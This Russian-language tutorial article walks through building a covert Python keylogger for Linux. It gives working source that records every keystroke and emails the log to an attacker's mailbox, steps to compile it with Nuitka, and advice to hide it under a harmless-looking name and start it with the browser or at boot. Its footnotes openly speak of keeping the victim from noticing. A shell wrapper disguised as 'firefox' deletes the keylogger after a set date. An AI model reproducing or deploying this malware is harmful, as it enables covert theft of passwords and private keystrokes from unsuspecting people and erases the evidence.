Python кейлоггер для GNU/Linux. Отправка информации по электронной почте с последующим самоуничтожением

В этой статье я покажу вам, как сделать продвинутый кейлоггер, который отправляет сообщения по электронной почте и самоуничтожается через определенный промежуток времени.

Используемый код (мы сохраним его как compile_docs.py1) выглядит последующим образом:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
from email.message import EmailMessage
import smtplib, ssl

keys = ''

def on_press(key):
    print(key)
    global keys, count
    keys += str(key)
    print(len(keys),  keys)
    if len(keys) > 190:
        send_email(keys)
        keys = ''

def send_email(message):
    smtp_server = "CHANGE"
    port = 587
    sender_email = "CHANGE"
    password = "CHANGE"
    receiver_email = sender_email


    em = EmailMessage()
    em.set_content(message)
    em['To'] = receiver_email
    em['From'] = sender_email
    em['Subject'] = 'keylog'

    context = ssl.create_default_context()

    with smtplib.SMTP(smtp_server, port) as s:
        s.ehlo()
        s.starttls(context=context)
        s.ehlo()
        s.login(sender_email, password)
        s.send_message(em)

with Listener(on_press=on_press) as listener:
    listener.join()

Мы должны заменить каждое CHANGE на информацию для отправки письма. Очевидно, что используемый email должен быть анонимным, и вы можете его уничтожить. По сути, с помощью приведенного выше кода мы отправляем письмо каждый раз, когда нажимается несколько клавиш (порядка 190 символов).

Теперь мы собираемся скомпилировать код с помощью Nuitka:

sudo pip3 install nuitka
nuikta3 compile_docs.py

Программа создаст скомпилированный файл под названием compile_docs.bin. Теперь вам нужно сделать так, чтобы этот файл запускался при запуске браузера или загрузке компьютера, как это было описано в предыдущей статье.

Если мы хотим, чтобы программа самоуничтожилась через некоторое время, мы можем создать что-то вроде этого2:

#!/bin/sh
DATE=`date +%Y%m%d`
if [ $DATE > 20230501 ]; then
    rm /usr/share/doc/python3/compile_docs.py
    rm /usr/share/doc/python3/compile_docs.bin
    mv firefox.bin $0  # Removes this file
else
    python3 nuestro_keylogger.py
fi

Шаги по удалению кейлоггера могут немного отличаться в зависимости от того, как хорошо вы его спрятали.


  1. Это примерное название, лучше использовать имя, которое не привлечет внимания нашей вашей жертвы. 

  2. Файл будет сохранен как firefox или любая другая подобная программа. 

Комментарии